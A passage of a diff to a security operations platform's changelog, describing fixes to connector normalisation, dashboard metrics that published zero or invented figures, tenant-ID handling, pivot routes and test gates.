hand.**+ `scripts/generate_connector_catalog_fallback.py` builds it from the+ connector registry and `--check` fails the build on drift, so the artefact+ cannot fall behind the registry it copies. The gate compares **three**+ independent readings of connector identity, in both directions: what+ `_CONNECTOR_CLASSES` declares (read through the AST by+ `generate_connector_types.parse_registry`, so there is one definition of+ "the registry" rather than two), what reaches `CONNECTOR_REGISTRY` at+ runtime, and what each `cls.schema()` **advertises**.++ The third is the reading nothing looked at. `list_connector_schemas()`+ iterates the registry but takes each entry's `connector_id` from the schema,+ so a class registered as `tenable_io` whose `schema()` said `tenable` would+ be offered in the wizard under a name `get_connector_class()` cannot+ resolve — 84 independent opportunities for two declarations to disagree.+ Identity is read off the class, never the filename: `jira_connector.py`+ declares `jira` and `tenable.py` declares `tenable_io`, and `--self-test`+ asserts that property rather than trusting a comment. The self-test runs+ before the gate in CI and injects nine defects — a dropped connector, a+ renamed one, a class that never registers, a deleted artefact, an unhooked+ consumer, an empty corpus — requiring each to be caught.++- **An event ingested under a connector type with no profile became an alert+ with no host, no user and no source IP.** `_canonicalAliases` in+ `services/ingest/internal/normalizer/normalizer.go` already resolved+ `actor.user.name`, `device.name` and `src_endpoint.ip` from the spellings+ connectors actually use, but the pass that applied it was gated behind the+ canonical-envelope branch. Anything reaching the generic fallback — every+ push through `/v1/ingest/batch`, which sends a flat payload and so never+ matches that branch — resolved `title` and `external_id` and nothing else.++ Identity is what the rest of the platform is built on: entity extraction,+ the Investigation Rail's pivots, the `{tenant}:{entity}:{tactic}`+ correlation key, the entity graph and UEBA all key off those three fields.+ An alert still appeared, which is what made it look like it had worked, but+ it carried no entity chips and correlated into the `unknown` bucket. The+ alias pass now runs for every profile and fills only destinations the field+ map left empty, so a vendor profile's own mapping still wins.++ Three defects in the same family, found while fixing it:++ - **A nested vendor object was written whole into a scalar identity slot.**+ Fourteen of the 84 registered connectors emit `actor`, and four emit it as+ the vendor's object rather than a name, so `actor.user.name` became a map+ — an entity that renders as a map and correlates as garbage. Identity+ resolution now takes strings only and digs one level (`actor.name`,+ `actor.displayName`, `user.name`) for the scalar underneath.+ - **A vendor profile's severity ladder is spelled the way its vendor spells+ it.** `crowdstrike_falcon`'s is capitalised, and a pushed payload is+ whatever the caller wrote, so a lowercase `high` scored 0 and rendered as+ Unknown. The shared five-tier ladder is consulted when the profile's own+ has no entry for the value; `critical` stays its own tier.+ - **A vendor profile left `message` empty for a pushed payload**, because it+ maps its vendor's field name, so the promoter generated+ "Security Finding from <product>" over the title the caller actually sent.++- **`connector_type` values the product advertises did not reach their+ profile.** The connectors service declares `crowdstrike` and `okta`; the+ ingest profiles were keyed `crowdstrike_falcon` and `okta_system_log`. The+ README's own push example used `crowdstrike`, so the example a new user+ copies missed the lookup, fell to the generic fallback and lost its vendor+ attribution — 80 of the 84 declared connectors had no profile entry under+ the name they are registered with.++ A `connectorTypeAliases` map resolves both spellings rather than renaming+ either. The longer names are load-bearing elsewhere — `packages/types`'+ `ConnectorType` union, the CLI's default, the graph extractor, the actions+ credential resolver — so renaming one side would have broken the other.++- **Two registered connectors reached no normalization path at all.**+ `auditd` emitted `source` without `raw_event`, so it failed the canonical+ envelope check and lost the host it carries; it now emits both.+ `email_inbox` returns the message envelope shaped for+ `email-forwarded.yaml`, so it matched neither branch and strict mode+ rejected it outright; it now has a profile mirroring that template, the way+ `ai_runtime` mirrors `ai-runtime.yaml`.++- **The connector-type ratchet is at zero: ten `ConnectorType` union members+ named nothing the normalizer could resolve.** They were the console's older+ vocabulary, a third name space beside the ids `services/connectors` declares+ and the keys `connectorProfiles` uses, and they were recorded rather than+ fixed because the file was shared with console work in flight.++ Six denote a source the platform really does ingest, under a longer name,+ and now fold onto the declared id through a new `connectorTypeCanonical` map+ applied once at the top of `Normalize` — so the profile lookup, the alias+ map, `canonicalClassByConnector` and the product identity on the canonical+ path all agree on one name. The connectors' own `connector_name` values are+ what make the fold safe rather than a guess: `qradar` *is* "IBM QRadar",+ `chronicle` *is* "Google Chronicle", `syslog_cef` *is* "Syslog / CEF".++ - `ibm_qradar` → `qradar`. `services/fusion/alert_sink.py` and+ `services/actions/executors/siem.py` already aliased exactly this pair.+ - `google_chronicle` → `chronicle`+ - `palo_alto_cortex` → `cortex_xdr` (whose description reads "Palo Alto+ Cortex XDR incidents via the public REST API"; XSIAM is a distinct later+ product and stays reachable under `cortex_xsiam`)+ - `slack` → `slack_audit`, the only Slack data the platform ingests+ - `syslog` → `syslog_cef`++ Four denote nothing the platform ingests and are removed from the union:+ `vectra_ai` (no Vectra connector exists), `teams` (a ChatOps destination,+ not a source) and `custom_webhook` / `http_pull` / `kafka` (transports — the+ webhook path is the tenant inbox, which keys off a template id and never+ sets `connector_type`). Nothing in the tree referenced any of them;+ `ConnectorType` has no consumer outside its own file.++ What this cost while it stood: an event tagged `ibm_qradar` reached no+ profile and no connector, so strict mode rejected it outright and lenient+ mode minted `OcsfProduct{Name: "ibm_qradar"}` — a second, parallel alert+ source for the same QRadar deployment `qradar` already fed. The new Go tests+ assert the two spellings produce one event (same product, class, category+ and severity, with `critical` staying the fifth tier and category 2 so+ `should_promote()` has no severity floor to clear), and that the fold cannot+ be used to smuggle an unknown type past strict mode. A third test reads the+ connector ids out of `services/connectors/app/connectors/` rather than+ hardcoding them, and fails on an empty read instead of passing.-- **`docker compose down && docker compose up` could not bring Kafka back.**- `kafka_data` is a named volume and ZooKeeper had none, so the second `up`- on kept data generated a fresh cluster id and the broker refused it with- `InconsistentClusterIdException`. `make down && make up` — documented as- "stop the stack, keep the data" — therefore left every Kafka-dependent- service in `created`, and only `make clean`, which deletes the data,- recovered. ZooKeeper now persists `/var/lib/zookeeper/data` and `/log`.+- **The dashboard published two numbers that contradicted the database, and a+ third surface that contradicted both.** A live acceptance pass measured a+ tenant with two cases closed in the last seven days at a 90-minute mean.+ `/mssp/portfolio` reported that correctly as 1.5h. The dashboard reported+ **CASES CLOSED (7D) 0** and **MTTR 0.0 hrs**, directly above its own+ "CASES OPENED (7D) 2".-- **`osquery-tls` published a container port nothing listened on.** Compose- mapped `127.0.0.1:8091:8007` while the service runs uvicorn on 9001. With- no healthcheck either, the container read as `running` against a closed- socket. Found by adding the healthcheck and watching it never leave- `starting`.+ The portfolio was right and the dashboard was wrong, for two separate+ reasons that each read plausibly in isolation:-- **`docker-compose.override.yml` was committed.** Its own header reads- "untracked, never committed": it is a QA port remap that moved PostgreSQL- to 55432 and ClickHouse to 58123/59000, contradicting every port the- documentation quotes. Removed.+ - `cases_closed_7d` filtered `status = 'resolved' AND updated_at >= …`.+ `resolved` is an *intermediate* state — the lifecycle's terminal one is+ `closed`, and it is that transition which writes `closed_at` — so a case+ that completed its lifecycle was invisible to the count. `updated_at` was+ also the wrong clock: it moves whenever anyone edits the case, so an old+ case gets a comment and re-enters the window while a closed one+ eventually leaves it.+ - `mttr_hours` averaged `alerts.resolved_at - alerts.created_at`, a+ different lifecycle on a different table from the one the portfolio+ measures. Nothing in ordinary case work writes that column, so the+ average was over zero rows and `float(None or 0.0)` published the empty+ result as a confident `0.0`.-- **Two more gates were exempt from the empty-corpus rule only by accident.**- `check_route_auth.py` and `check_tenant_query_predicates.py` did not exit 0- over an empty tree, but neither had a corpus floor: each happened to fail- first on its own stale-exemption ratchet, because every entry stopped- matching at once. That is a true statement about the wrong thing, and it- disappears the moment somebody empties the table. Both now refuse the- corpus itself, ahead of every output mode including `--inventory`, which CI- runs as its own step — a green step printing `TOTAL 0` is the same defect- one level out. The route gates share one floor, in- `check_route_tenant_scope.py`, because they share one collector; the- predicate gate refuses each of the three ways its scan can empty- separately, since files, tenant-scoped tables and statements reaching zero- are three different losses and the middle one is the quiet one. Proven both- ways: with every exemption table emptied the floor is still what refuses,- and the real repository is unaffected.+ Both now come from `app/services/resolution_time.py`, which owns the window+ and the SQL expression that *both* surfaces use, so the two cannot quote+ different MTTRs for one tenant again. The portfolio keeps computing its+ figure inside one bound cross-tenant statement — one round trip for the+ whole portfolio — and interpolates the shared fragments rather than calling+ the shared function; a test asserts it still does, and the load-bearing+ assertion is that the two surfaces produce the *same* number from the same+ rows rather than that each matches a hardcoded 90.0.- `check_route_auth.py` now imports its scanner as a module rather than by- name. It took `REPO_ROOT` and `SERVICES_DIR` by value at import time, so the- shared self-test rebinding them would have left this gate scanning the real- checkout while believing it was pointed at an empty one — a self-test that- proves nothing, which is the shape the whole exercise is about.+ The third surface was the `MTTR` tile in the Security Operations Center+ strip, reading `alerts.mttr` off `/metrics/dashboard` — the same dead column,+ and rendered with an `m` suffix although the field is hours, so a real+ 1.5-hour MTTR would have displayed as "1.5m" had it ever been non-zero.-- **`check_gate_contract.py` can now ask "the directory exists and is empty",- not only "the repository is not there".** Its scratch tree omitted- `services/` and `detections/` entirely, so a gate opening with- `if not X.is_dir(): return 2` refused it for a reason that says nothing- about its corpus — and the way a corpus is actually lost is a renamed- package or a glob that stopped matching, neither of which removes the- directory. A second **skeleton** shape creates them empty and every check is- probed against both. The cost was measured rather than assumed before- committing to it: 64 of the 71 checks already refused the skeleton, and of- the five that did not, three were defects now fixed and two were already- recorded exceptions. The exception table is keyed by shape and has five- entries. Probe runtime went from ~8 s to ~16 s.+ Rather than make the three means nullable — a breaking response change for+ every existing client — each now travels with the number of rows it was+ averaged over (`mttd_sample_count`, `mttr_sample_count`,+ `mttc_sample_count`, and `alerts.mttr_sample_count`). A mean over zero rows+ is unmeasured, not zero, and the tiles say "not measured" instead of+ claiming an unbeatable response time for a tenant that has resolved nothing.+ The fields are additive: a client that ignores them sees what it saw before.-- **`check_route_tenant_scope.py` reported OK having scanned zero routes.** It- refused a tree with no `services/` directory, which is not how a scan loses- its corpus: a renamed package, a changed decorator spelling or a walk that- stops descending all leave the directory in place. Against a `services/`- tree with no routes in it the gate printed `scanned 0 routes across 0 files`- and then `OK: every route taking a tenant identifier authenticates` — the- same sentence CI shows on a real pass. It now exits 2, and `--self-test`- carries the case. Naming the count was only half the fix: the number was- already printed, directly above the clean verdict.+- **The alerts list was empty on every deployment, under a row count that was+ real.** `AlertListResponse` returns the rows under `items`; the web client+ read `raw.alerts`, which is never present, so `Array.isArray(undefined)` was+ false and each page resolved to `[]` while `total` carried the true figure.+ The queue therefore rendered "1,247 alerts" above an empty table with no+ error to explain it, and an operator's most reasonable reading of that screen+ was that their estate was quiet. The client now reads `items`, still accepts+ the legacy `alerts` key the responder routes emit, and a test asserts the two+ halves of the contract against each other so they cannot drift apart again.-- **The dependency audit reported success over a tree with no manifests.**- `security_audit.py`'s pnpm, python and go arms each discovered zero targets- and printed `0 findings`, which is the sentence a clean audit of twenty- services prints. The file already treated an unscanned service as a failure- rather than a warning — the gap was that a corpus of zero was never- *unscanned*, just empty. All three now record a coverage gap when discovery- finds nothing, and `validate-ignores` refuses a missing policy file instead- of reporting `Validated 0 ignore entries` and exiting 0. `get_repo_root()`- also stopped falling back to `Path.cwd()`, which meant a run from anywhere- else audited whatever manifests happened to be under it.+- **The entity-risk queue sent a tenant slug where a UUID was required, then+ blamed a healthy service for the rejection.** `apps/web/next.config.js`+ inlined `NEXT_PUBLIC_TENANT_ID` with a fallback of the literal string+ `'default'`. Three tenant-scoped surfaces pass that value as a query+ parameter to routes typed `tenant_id: UUID` — `/fusion/entity-risk/*`,+ `/honeytokens/*` and `/business-context/*` — and all three answered 422.-- **Four more known-red CI entries, and the reason each could sit on `main`.**- None was anyone's recent breakage; all four reproduced on a pristine- checkout. What they had in common is more useful than what broke: in every- case the thing that should have objected either did not run, was not- required, or could not fail.+ Two things kept it hidden. `lib/api.ts` carries the correct canonical UUID+ as its own fallback, so reading it suggested the console was already doing+ the right thing; Next's inlining runs first, which made that fallback+ unreachable code. And the slug is not a dependable handle either: migration+ 001 seeds tenant `…0001` with slug `default` and the demo seed renames that+ slug to `demo`, so on a seeded install the literal matched neither the id+ nor the slug. The entity-risk client also read the build-time constant+ rather than `getActiveTenantId()`, so the queue ignored both the logged-in+ user and the tenant switcher; it now resolves the tenant the same way+ `request()` resolves the `X-Tenant-Id` header.- - **`Backup → destroy → restore` had lost its object store for the second- time.** `minio/minio` was withdrawn from Docker Hub (the repository 404s),- the job was moved to the quay.io mirror pinned by digest, and quay.io now- answers **401 UNAUTHORIZED for every tag and for that digest** — the whole- repository, not one tag. A third MinIO coordinate would be the same bet a- third time, so the fixture is now Versity's Apache-2.0 S3 gateway- (`ghcr.io/versity/versitygw`, pinned to the v1.8.0 multi-arch index- digest). It is a real S3 server rather than a mock, so `backup.sh` and- `restore.sh` still drive `aws s3 cp/ls/rm` and `s3api head-object` for- real; and it is on GHCR, which this workflow's own images already use and- which cannot be withdrawn independently of the CI it runs on. The job also- gained a readiness probe: `docker run -d` succeeding only means the- container was created, and the previous shape would have spent the bucket- loop's retries before failing with a connection error that said nothing- about why.- - **`docker compose up — full stack` failed building `services/realtime`,- and not for the reason it looked like.** The lock and the manifest do- agree (`npm install --package-lock-only` is a no-op against the committed- lock), the Dockerfile does copy `package-lock.json` into both stages, and- Node 22 is consistent across the Dockerfile, CI and `@types/node`. The- failure was `esbuild`: a transitive of `tsx` that the image never runs,- whose install script hardlinks the platform binary into place and then- immediately execs it to read its version, with no retry — under BuildKit- that exec loses a race with the writer still holding the inode and fails- `ETXTBSY`. The builder stage now installs with `--ignore-scripts`, which- it can do because the only thing it needs from devDependencies is `tsc`.- The emitted `dist/` is byte-identical. The runtime stage deliberately- keeps its install scripts: what it installs is what ships.- - **`test_business_context_hotpath.py` reached a real database.**- `FusedAlertTriageWorker.triage()` opens asyncpg connections through- `business_context._load_tenant_rules` and `ledger.persist_auto_triage`, so- with an inherited `DATABASE_URL` two tests failed with `InterfaceError:- cannot perform operation: another operation is in progress` — pytest-asyncio- gives each test its own event loop, and the module-level pool one test- opens is unusable by the next. The agents unit suite now declares that it- runs with no database, in `tests/conftest.py`, and **enforces it**: the- inherited DSN is removed and a real asyncpg connection raises. The guard- is a `BaseException` on purpose — every call site it covers is wrapped in- a fail-soft `except Exception`, which is correct in production and is- exactly why the bug was invisible, so an `Exception` here would be- swallowed by the handlers it exists to police. Two tests that drive the- real client against a DSN they set themselves are marked- `touches_database`. Replaces two earlier workarounds that did not work:- `os.environ.setdefault("DATABASE_URL", "")` is a no-op precisely when the- variable is set.- - **`test_a_missing_handler_is_not_retried` asserted nothing that could- fail.** It named `RUN_AV_SCAN` as its missing handler; that stopped being- true when the response verbs were wired into `_HANDLERS` via- `RESPONSE_STEP_TYPES`, so the step took the *retry* branch and was- attempted four times over fourteen seconds — the behaviour the test's own- docstring forbids — while reporting green. Its one behavioural assertion,- `_elapsed_ms == 0`, could not notice: `t0` resets at the top of every- attempt, so the field is the duration of the final attempt alone, and it- reads 0 both when the engine skips the retry loop (which writes a literal- `0`) and when a handler fails in under half a millisecond. The test now- takes its step type from the registry instead of naming one, so it cannot- silently rot the same way again, and asserts the property directly by- recording backoff sleeps. The file went from 14.13s to 0.16s. The- `patch_handlers` fixture now saves originals with `setdefault`, so a- second install of one key cannot write a test double permanently into the- process-wide handler registry.+ `components/fim/FimDashboard.tsx` is deliberately pinned to `'default'`+ instead: `services/osquery-tls` types its tenant as a plain string and+ enrols nodes under that literal, so this one surface is keyed on that+ service's own convention and reading the shared UUID here would match no+ enrolled node. The two tenancy models still need reconciling in+ osquery-tls.- Why `main` carried them: `backup-restore` and `docker compose up — full- stack` fail hard but are **not** among the nine required checks, and compose- smoke is pull-by-default — it only builds a service when that service's- build context changed, so it is usually green without building the thing- that was broken. `test_business_context_hotpath.py` runs inside `Python —- Tests`, which **is** required, and passed only because GitHub's runners have- nothing on 5432 and the agents step sets no `DATABASE_URL` — green by- property of the runner, not of the code. `test_playbook_engine_correctness.py`- was named by no workflow at all; it is one of **62 of the 82** test files- under `services/agents/tests` in that position. The playbook and per-tenant- business-context files are added to the agents test list (gated agents tests- 529, up from 303); the remaining gap is real and is not closed here.+ With the request failing, the queue rendered five invented entities —+ `[email protected]`, `updates.evil-cdn.xyz`, "last seen 5 months ago" on a+ stack that had been up for an hour. Above them, and *outside* the amber+ banner that disclosed them, four cards read "Contributing alerts 26" and+ "Alert → Incident 13.0:1" off the same sample payload. A disclosure that+ covers the rows and not the headline numbers is decorative, so the banner+ moved above the cards and every card now reads "not measured" when its+ request fails; the derived alert-to-incident ratio is withheld whenever the+ counts it divides are unknown.-- **Four tests failed on a clean checkout and belonged to nobody.** A suite- with known-failing tests teaches everyone to skim past red, so each is now- either fixed or skipped with a reason that says what to do about it.+ The banner also named the wrong subsystem. It said "Fusion service+ unreachable" while fusion was healthy and the actual failure was a 422 —+ a diagnosis that sends an operator to debug something that is not broken,+ which is worse than none. It is now derived from the response status: a 422+ reads as a console bug rather than an outage, a 5xx names fusion because+ that is when fusion is genuinely at fault, status 0 reads as unreachable,+ and an unrecognised failure stays vague rather than guessing. Every variant+ says the queue is *unknown* rather than empty.- - `test_hunt_scheduler_cron.py::TestNextFireAt::test_basic_hourly` asserted- croniter's answer (the top of the next hour) from a class that, unlike its- neighbour, carried no `_CRONITER_AVAILABLE` guard — so without the- dependency it failed rather than skipped. Not environmental: the fallback- is an interval stepper with defined behaviour that nothing was checking.- It now asserts the right answer on each path, so both are tested.- - `test_router_report.py::test_findings_with_html_tags_are_escaped` required- the literal `<script>`, which only the `markdown` branch produces —- the `<pre>` fallback escapes the already-escaped body again and emits- `&lt;script&gt;`. That is more escaped, not less, so a correct- branch was reporting a security failure. It now asserts the property that- matters (nothing reaches the document as an executable tag, and the- payload is still present rather than dropped) on either branch.- - `test_router_report.py::test_html_wraps_markdown_with_document_chrome`- genuinely needs `markdown` — a declared dependency of the service — and- now skips with that stated, while CI installs it and runs the file, which- it had never done.- - `test_graph_freshness.py::test_graph_writer_does_not_block_fusion_on_failure`- treated "something answered on port 8080" as "the ingest service- answered". Its only escape hatch was a connection error, so an unrelated- local service returning 401 became a failure reading "fusion should never- block on graph". It now checks `GET /health` reports `service: ingest`- before asserting anything, and the skip names what did answer.+- **`/alerts/[id]` rendered a confidence of 21 as `2100%`, and negative+ evidence as `+-0.30`.** Confidence reaches the console on two keys at two+ scales: the API surfaces `confidence` as an integer 0-100, while fusion's+ `confidence_score` is the raw [0.0, 1.0] float the band was derived from.+ `normalizeAlert` accepted whichever key appeared first and passed it+ through unchanged, so `Alert.confidenceScore` meant one thing or the other+ depending on the payload — and its consumers guessed differently.+ `AlertDetailView` multiplied by 100; `AttackStory`, on the same page,+ divided and rendered "21/100". Each was right for one payload shape, and+ each had a passing test because its own mock used the scale it assumed.-- **Two alembic chains could never run.** `services/honeytokens/alembic/` and- `services/purple-team/alembic/` each contained an empty `__init__.py`, which- shadows the installed `alembic` package whenever the working directory is on- `sys.path` — so `alembic upgrade head` failed with- `No module named 'alembic.config'` from inside the service directory, and- `env.py`'s own `from alembic import context` would have failed the same way.- Removed, matching `services/ueba/alembic/`, which never had one. All four- service chains are now verified upgrade → downgrade → upgrade against a live- Postgres.+ Normalised once at the boundary to the canonical 0-100 integer, deciding the+ scale from the *key* rather than the magnitude: a genuine confidence of 1 is+ indistinguishable from a raw score of 1.0 by value alone, so the tempting+ `v <= 1 ? v * 100 : v` would render the least-confident alert in the estate+ as the most confident. The two mocks that encoded the old scale were+ corrected with it, since sample data on a different scale than the real+ payload is what hid the bug.-- **Every live Okta password reset raised `TypeError` and came back FAILED.**- `ResetPasswordExecutor` documents `parameters.send_email` as "used only for- the Okta path", reads it, and passed `send_email=` to- `OktaClient.reset_password(self, login_or_id)` — which did not accept it. The- executor's `except Exception` turned the `TypeError` into a FAILED- `ActionResult`, so the verb did not crash; it simply could never succeed- against Okta, and the failure read as an Okta problem. Simulation mode never- constructs a vendor client, which is why no test saw it: the one that covers- this executor stubs the client as `async def reset_password(self, *_args,- **_kw)`, and a fake that accepts anything proves the dispatch order and- nothing about the call. The client now takes `send_email` and maps it to- Okta's `sendEmail` parameter, and `test_identity_client_signatures.py`- autospecs all three IdP clients across every executor arm — the companion to- `test_siem_client_signatures.py`, for the third instance of the same defect.+ The rationale rows hardcoded a `+` prefix on a signed contribution, so a+ factor that argued *against* the verdict read `+-0.30`; they now carry one+ sign, matching the glyphs the narrative builder uses. Those rows also+ clamped `contribution / weight` into [0, 1], which rendered every negative+ factor at zero width — an invisible bar beside a nonsense label. Width now+ follows the magnitude and colour follows the sign.-- **The natural-language playbook drafter could never reach an LLM.**- `nl_drafter._llm_factory` called `make_chat_model()`, and `role` is a required- positional parameter; every other caller in the tree passes one. The- `TypeError` was caught by the `except Exception` two lines down, which logged- "no chat model available" and returned `None`, so the drafter fell back to its- deterministic substrate path on every call, permanently, while reporting the- condition as a missing provider. Every test monkeypatches `_llm_factory`, so- the one line that mattered was the one line nothing exercised. Now passes- `"nl"`, the declared role in `app.llm.model_pins`.+- **Every entity chip in the Investigation Rail was a 404.**+ `alert_rail.py` built its pivots as `/attack-graph?entity=…` and there has+ never been an `attack-graph` route, so host, user, asset, IP and domain chips+ all failed before the query parameter mattered. The rail's own docstring+ described the working behaviour ("the same `?entity=` query the+ AttackGraphView already parses"), and `pivot.ts` states as fact that the rail+ emits `/graph?entity=…`; the code agreed with neither. Pivots now target+ `/graph`, which reads the parameter and selects the node.-- **A cancelled context-graph walk crashed the context bundle.**- `_fetch_neighborhoods` and `_fetch_ueba_baselines` filter- `asyncio.gather(..., return_exceptions=True)` results with- `isinstance(r, Exception)`, then unpack the survivors as a tuple.- `asyncio.CancelledError` is a `BaseException` and not an `Exception` on 3.8+,- so a cancelled child task passed the filter and reached the unpack as- `TypeError: cannot unpack non-sequence CancelledError`. `services/slack-bot`- carries a comment spelling out this exact trap; these two sites got it wrong.- Both now filter on `BaseException`.+ The existing test pinned all six strings under a docstring claiming the pin+ "prevents an accidental rename". It cannot — it compares the producer against+ a copy of itself, which is how a route that never existed stayed asserted.+ `services/api/tests/test_pivot_routes_resolve.py` derives the route table+ from `apps/web/src/app` and checks it against what `build_related_entities`+ actually returns, so the comparison now runs in the direction that drifts.-- **`_SECRET_PATTERNS` was declared with a type its value cannot have, which- switched off checking of the secret-masking loop.** The annotation in the AI- SDK's redaction module read- `tuple[tuple[str, re.Pattern[str]], None | str] | tuple`, whose first member- is a two-element tuple — structurally impossible for the eight-pair value, so- it only ever matched through the bare `| tuple`. That erases the element type- to `Any`, which is why nothing objected to calling `.subn` on something typed- as possibly a `str`. In a path whose job is to stop secrets leaving the- process, a checker that has been silently switched off is worse than none.- Declared `tuple[tuple[str, re.Pattern[str]], ...]`, which is what it is.+ The same test caught a second defect in the producer: values went into the+ URL unencoded, so an asset named `Finance & Legal #2` pivoted to+ `Finance & Legal` and looked like it had worked. Values are now encoded the+ way `pivot.ts` encodes them.-- **`diff_fingerprints` was declared to return `dict[str, list[str]]` and never- has.** It returns `unchanged_count` as an `int`, which the connector- scheduler stores and a test asserts on. Because the scheduler assigns the- result straight into a `dict[str, Any]` variable, the wrong declaration- narrowed that variable and made the three correct lines underneath it look- like type errors instead — one wrong annotation producing four findings across- two modules. Declared `dict[str, Any]`, which is what both consumers and the- JSONB column already expect.+- **The Investigation Rail's Details tab showed analysts the markup.**+ `build_narrative` documents its output as markdown-light — `**bold**`,+ backtick code spans, `- ` bullets, blank-line paragraphs — and the rail put+ the string in a `whitespace-pre-wrap` paragraph, which preserves the+ newlines and the asterisks alike. The panel read `**Medium** alert: … on+ **Finance & Legal #2**`.-- **A Google Workspace key that was valid JSON but not an object failed inside- the JWT signing path.** `json.loads` returns a `str`, `list` or `int` for a- document that is valid JSON and not an object, and the constructor accepted- it; the failure surfaced later as `TypeError: string indices must be integers`- at `self._key["client_email"]`, at the moment an operator triggered a live- action. The configuration is wrong either way — it now says so when the- credential is saved rather than when it is used.+ `components/alerts/NarrativeMarkdown.tsx` renders exactly that dialect and+ nothing more; an unrecognised construct falls through as literal text rather+ than being dropped. It builds React elements, never markup: the narrative+ embeds the alert title and entity names, which originate in connector+ payloads, so an HTML path here would make anyone who can name a host an XSS+ author. It introduces no heading, leaving the page's heading order intact.-- **Five LLM input-contract handlers raised `TypeError` instead of degrading.**- `/translation`, `/phishing`, `/knowledge-base`, `/hunts` and `/detection-loop`- each catch `LLMContractViolation` — the untrusted-input boundary refusing a- prompt — and logged it as `logger.warning("<event>", reason=exc.reason)`.- `logger` is `logging.getLogger`, not structlog, and the stdlib `Logger`- rejects an unknown keyword with a `TypeError`. An exception raised inside an- `except` block is not caught by a sibling handler, so the `except Exception`- sitting directly beneath it never saw it: the one path whose job is to- degrade gracefully was the only path that raised. `phishing.py` carries a- comment explaining that the log line was added *because* the handler used to- swallow everything — the fix for the silent failure was itself throwing. Only- six of thirteen trees declare `[tool.mypy]`, so an AST scan swept the rest of- `services/` and `packages/`; those five were the only instances repo-wide.+- **Six funnel metrics were published as zero whatever the database held.**+ `_funnel_window` merges `_triage_quality`'s output into the dict it returns,+ but the `FunnelMetrics(...)` call never named `triaged_alerts`,+ `abstentions`, `abstention_rate`, `ungrounded_demotions`,+ `mean_groundedness` or `scored_verdicts`, so all six fell back to their+ field defaults on every response. A published zero is a stronger claim than+ silence: it reads as "this tenant never abstained, and nothing was ever+ demoted for being ungrounded". The existing test asserted the six names were+ present in `model_fields`, which they were — declaring a field and forwarding+ it are different things. The replacement drives the endpoint and fails for+ any field the window computes and the response drops, including ones added+ later.-- **`DEFAULT_SLA_TARGETS` was declared twice with disagreeing bodies, and- neither matched the migration.** The second definition won by being later in- the file and put `info` at `(480, 1440, 2880)`; the first said- `(240, 960, 2880)`; migration 040 seeds `(240, 1440, 4320)`. A tenant's- info-tier deadline therefore depended on whether it had a seeded row- (240 min) or fell back to Python (480 min) — and `alert_queue` reads exactly- this row as the `sla_due_at` catch-all for severities outside the four-tier- ladder. One definition now, matching the migration, which is what is in the- database.+- **`false_positive_rate` and `escalation_rate` published `0.0` on an empty+ denominator.** `x / n if n > 0 else 0.0` renders an undefined ratio as a+ measured zero, and for these two the zero is flattering: "0% false+ positives" and "0% escalated" are the two best numbers on the SOC metrics+ page, and a tenant that had resolved nothing and gated nothing scored both.+ This is the same defect as the MTTD/MTTR/MTTC means that shipped a NULL+ average as a confident `0.0`, one step removed, and it takes the same fix:+ `/metrics/soc` now reports `false_positive_rate_sample_count` and+ `escalation_rate_sample_count` alongside the rates, and the console renders+ "not measured · no resolved alerts in 7d" rather than a percentage. The+ fields are additive and optional, so a console running against an older API+ keeps its previous behaviour rather than blanking the tiles — a paired test+ holds that direction too, because "blank everything" would be a worse+ regression than the bug.-- **`posture_loader` returned `None` from a function declared to return a- dict** when a 200 response carried no `config` key, while the non-200 branch- immediately above already returned `{}` for the same "nothing to load"- outcome.+- **The connector fleet badge claimed every source was reporting when none+ was.** `ConnectorFleetPanel` rendered the badge whenever the endpoint+ answered, and with zero connectors `failed + degraded` is zero — so a green+ "All sources reporting" sat directly above the panel's own "No connectors+ configured". Zero sources reporting is not the same statement as all of+ them reporting, and the green is the part an operator scans for. There is+ now no badge until there is a fleet, and when there is one it names the+ count it is vouching for.-- **Six guards inspected a different call's result from the one they- guarded.** `x.get(k) if isinstance(x.get(k), dict) else {}` calls `get`- twice; it is safe for a plain dict and that is not a property anything- enforces, which is what the twenty `union-attr` findings underneath it were- reporting. Fetched once and then tested, in `playbook_step_dispatch`,- `siem_writeback` and `sla`.+- **Two dashboards published fabricated security data as tenant state.**+ `DashboardView` and `SOCMetricsDashboard` both wrapped their SWR+ `fallbackData` in `demoFallback()`, which is `undefined` outside the hosted+ demo — and both then defeated that gate a few lines later with an+ unconditional `const resolved = isValid ? data : MOCK`. The mock was+ therefore exactly what rendered during first paint and after any API error,+ which for a self-hoster with an empty or unreachable backend is the whole+ session.- Together with a `_compute_durations` return annotation that claimed- `dict[str, int | None]` while returning a `str` severity, these take the mypy- ratchet from 690 to 656. `packages/sdk-py` declared `[tool.mypy]` with no- `python_version`, so it was type-checked against whichever interpreter the- job ran and its share of the baseline moved with CI rather than with the- code; it is pinned to 3.11 like the other five, and the toolchain gate now- fails on a tree that asks to be type-checked without saying against which- Python. What remains on the ratchet is annotation hygiene and artefacts of- the deliberate no-dependencies environment the baseline is recorded in — the- 19 surviving `union-attr` are all `mock.call_args` in tests.+ What that put on screen as the reader's own numbers: a connector inventory+ they do not run (`CrowdStrike EDR`, 412 events), a MITRE tactic ranking, a+ 24-hour alert-volume curve, MTTD 1.4h / MTTR 6.2h, and an LLM spend line of+ $76.65 naming three models they had never configured. Three "vs yesterday"+ trend deltas sat beside the real alert counts as literals — `/metrics/dashboard`+ publishes no period-over-period comparison, so there was nothing to derive+ them from.-- **The connector-type ratchet is at zero: ten `ConnectorType` union members- named nothing the normalizer could resolve.** They were the console's older- vocabulary, a third name space beside the ids `services/connectors` declares- and the keys `connectorProfiles` uses, and they were recorded rather than- fixed because the file was shared with console work in flight.+ Every panel now renders one of three honest states: real figures, an empty+ state naming what would populate it, or an error state carrying the failure+ and a retry that re-issues the request. Sample data still populates the+ hosted demo, which is the only reason it exists.- Six denote a source the platform really does ingest, under a longer name,- and now fold onto the declared id through a new `connectorTypeCanonical` map- applied once at the top of `Normalize` — so the profile lookup, the alias- map, `canonicalClassByConnector` and the product identity on the canonical- path all agree on one name. The connectors' own `connector_name` values are- what make the fold safe rather than a guess: `qradar` *is* "IBM QRadar",- `chronicle` *is* "Google Chronicle", `syslog_cef` *is* "Syslog / CEF".+- **The MSSP console showed six invented tenants and made no API call at all.**+ `MSSPDashboardView.tsx` declared `const TENANTS = [...]` — "Acme Financial",+ "GlobalRetail Corp", "MedSecure Health" and three more, with invented alert+ counts, MTTD/MTTR figures, risk scores, analyst headcounts and ARR — handed+ it to `useState`, and never fetched anything. Every operator on every+ deployment saw the same six rows, permanently, with no state in which they+ would not. The "Export Report" button raised a success toast and did nothing.- - 